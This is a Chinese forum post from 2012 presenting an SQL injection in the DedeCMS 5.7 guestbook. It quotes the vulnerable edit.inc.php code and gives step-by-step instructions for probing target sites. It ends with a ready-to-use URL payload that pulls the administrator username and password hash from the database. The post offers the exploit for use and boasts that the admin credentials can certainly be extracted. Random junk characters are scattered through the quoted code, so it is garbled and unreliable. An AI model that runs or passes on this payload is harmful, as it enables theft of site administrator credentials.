找回密码
 立即注册
查看: 4274|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
1 Q8 K) G! h: m2 M2 O% R3 U
2 A; [( O) \( Q! `* c漏洞文件edit.inc.php具体代码:( K( l% n6 r: D+ O, l% ^
! E( v5 U: d3 E8 [+ i) }! m
< ?php  
+ V, u' w1 o9 x( y/ S7 B. s( x% K2 U3 q
if(!defined('DEDEINC')) exit('Request Error!');  + z+ p# A* x/ X# c8 p* t( u% `0 f

' P/ u! U0 @2 ~+ N   5 `! m; d6 X: t1 i5 D
) S1 I" T4 L/ Y: l1 s4 V# @2 c* G
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
& T/ ]5 T  G3 a: }' B# f& `: E
, E* l& C1 r, I% i4 U) l9 O! v/ G6 L8 q  oelse $GUEST_BOOK_POS = "guestbook.php";  1 k. [, _# `) M. I5 W% x

2 f' b. X9 z9 C* b( {   
- o- W9 Z* R4 d  N7 x9 o  L' B
: P! ]7 \- ^/ f# b, j! V$id = intval($id);  ( H& o/ U) W  }( H& ^0 B

/ J. v$ A& v3 o" |; R" C* ]if(empty($job)) $job='view';  4 B8 ]8 ~* h. T9 P
7 q; G+ H" w! K8 |+ X& H
   5 R4 I- v/ ?% e1 K, }5 C8 D9 t* ~) N

) [2 O  m4 D& |) G  Kif($job=='del' && $g_isadmin)  
) |6 z% p2 j# T  s  W
  D) N& |5 z% I# ]( U' I. V{  
- }( C5 G) t. e% i2 K( D
1 B' e0 ~/ j, B: e: q9 P& i$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
0 f4 a1 _- G! S* X5 J
7 o' _* g, {6 a4 z* I; MShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  4 S  B7 }" p/ D! k8 r+ j+ i
+ ?9 i/ |) {" [7 b0 b3 v! j' O
exit();  
# n3 S# g, o; ]! @4 L5 F3 ]
9 _- ?2 @* D  h, d: A- p6 g}  3 C* d5 L# ?+ F2 d7 ?) J" e4 n

  ?) G, G4 v9 r' f' ~else if($job=='check' && $g_isadmin)  : R% s  w3 v5 ?
- I. {7 j3 I! R$ H, p. F' G
{  
. a5 g: k3 E8 T! t+ \
. j" H; F/ F# \$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  1 v/ a  r2 X# X  d  Y$ D

8 M5 {( g8 G5 U5 l" I4 L5 Q: fShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  * {% _( Y  K0 `# O0 Z' {
7 R" |0 ~0 @; T  R) ]* ~
exit();  
- G- G/ e; Z& d1 D8 U" p  y4 K2 R1 L* G: C% g2 J, Y6 M4 Z1 I' E
}  
0 b" K3 E! W/ b. t
1 J. F/ g$ B6 o+ @- s" c+ g/ J( q- pelse if($job=='editok')  9 F! e% e/ o9 }: \+ ^

' X5 W- m$ Z$ C- B$ n& T{  ! C% R9 Z* B+ N3 q& L* Q. [& U

' R2 p& x" L+ d- n( p' ?8 K$remsg = trim($remsg);    Y! @/ h8 f  l0 ^. V
8 J& p2 v' T' @3 s+ z+ Y
if($remsg!='')  
5 @$ j- S7 j$ p% \, s' G; I( u/ v# _/ C) w: Q
{  
  B( }4 e  q" g; Z2 i, N* l/ A/ V4 ~6 R; c
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
# U* r! ^( L1 K4 k/ k* K# }8 m8 M; Q3 X! P
if($g_isadmin)  # s& d, V. G0 i. m7 Y. n. M
+ ]5 Y# ]( ]$ M* C* b1 b
{  
! N4 l" ]& y0 m  n$ ~2 m3 L* l, G( n1 f4 y& `, A$ h
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
+ z$ ]3 L/ u' k# G
' s5 i0 I; i6 S7 U3 n% d//$remsg <br /><font color=red>管理员回复:</font> }    `8 V" V" H! [
) j9 ?, j/ s' s7 v
else
" h! X( O6 e8 p8 P& j5 R" g& ?8 r" O# K; m
{  
3 Y. F+ w" v5 J
& N- S' v# V. U# T; F$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ( U* {2 h2 t. P* e# A
. r) `5 j2 T: C4 T2 e# I, C+ i
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
( Y$ F& A1 S* }1 z$ S  Y# G' }" \5 g
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
% d/ z8 S0 _. g1 \
, _8 _9 k, f% ]! j" @. e: S9 t$msg = $oldmsg.$remsg;  
; L$ c2 L* h. L4 X- K1 h
4 i6 A# A! \7 j$ [- w6 L5 L}  & z! f5 G/ T% P5 x+ d2 P
0 c9 T& m- X3 j$ r" |
}  4 Q" `3 w+ i8 [% J% y0 J% ~( V

- L9 }" Z( o: A8 |% M: o//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  # j& S: k7 J+ W% V! [6 I
/ A  p' B1 t. [) v* S; }* B
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
( D+ J$ d: e" d- N
4 @  j* @. o% m% Y; N1 p; uShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  # s5 l; `& P4 o' R$ G
% {) J, ^! m& V1 ?& e0 w
exit();  6 k$ e4 t: ?! h" V, e% [' c) v

3 w) K- P& Y( R4 d8 b' Y7 `8 Y: t}  
, e2 b( ?0 E% F' R8 c7 f7 E2 ]6 ?# n1 i; [- ?
//home:www.errs.cc  
! k; y: x8 O1 O# H% q: g+ M) b9 L& M* {2 L8 F+ _# t5 {$ I
if($g_isadmin)  
% M% o8 V: x$ Y7 G8 g
. x& Z4 Q4 }) \( h3 X{  1 [+ t7 \9 ^/ T( E) C3 `

* C7 {% |; i( A# y6 z! E6 u$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  8 _1 ^7 L0 d) C( ^! l6 K4 L) P
! u' k8 m9 Y. p
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
# ]7 {- J# `6 z8 [  t; k2 V7 o) b! e3 w" i
}  
/ Y. m9 z0 e/ \
3 ^' S$ Q2 Y7 _. }4 l1 _0 }! K3 _else
) \8 T! K, D) f- K. O; S- ?# X- }3 |
{  9 H7 E) x# r7 h' ?( G: A% _% Y
. A7 [( ]6 a/ s& i9 T: Y1 }% O. l6 u
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
  j" }" i3 ~9 Q
$ P" Y/ E; P* o1 W  E7 G7 brequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
2 r  x6 b1 L9 A# }; Y6 P1 \8 a. @
} 漏洞成功需要条件:+ C6 A0 I+ I: M8 z
1. php magic_quotes_gpc=off  M1 a4 {+ {; U; A% _$ ^2 w! C- w
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! ^6 [7 M7 E6 h
% p9 F3 `  H. `
怎么判断是否存在漏洞:5 E2 O. g+ D5 c2 g
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,7 p( g  L, L5 w- }, d
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
6 n4 w+ V$ R( H5 V# r访问:
7 a8 c" y/ ], N6 ?! }( f$ z+ y* ~4 ]4 J1 ]1 R3 C
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了" M; P% k$ E" m: m( _
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, I+ A2 D4 y3 U* b+ _# h' T+ C2 _: I  q" [' t' i/ R* K) s
2 [2 w3 N! R& @" b" Q
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: [; h0 K5 p5 }
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。1 u/ |9 b6 y* \% I0 ~# Y; f
那么再次访问' s+ D6 b  j2 x+ G1 F* }6 I
) i/ z* |* E& }7 ^
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().  c/ ^3 P, p- y7 c

+ V5 C* `; R! L) i大概利用就是这样,大家有兴趣的多研究下!!
7 i0 Q  c  g3 H
% i, f/ X( P2 {  n# f3 m9 i最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
6 B) a6 F. O* M# X+ q( S# J: x3 Q( U; q7 R4 p* C; X4 |
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表